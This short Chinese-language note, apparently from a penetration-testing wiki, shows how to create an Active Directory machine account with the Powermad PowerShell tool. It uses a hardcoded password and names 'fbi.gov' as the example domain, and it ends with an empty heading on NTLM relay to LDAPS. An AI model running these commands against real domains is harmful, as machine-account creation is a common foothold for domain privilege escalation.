创建机器用户
powermad创建机器用户
# 导入powermad
import-module .\powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建机器账户
New-MachineAccount -MachineAccount "test" -Password $($Password) -Domain "fbi.gov" -DomainCon
troller "dc.fbi.gov" -Verbose

NTLM Relay to LDAPS创建机器用户




Last updated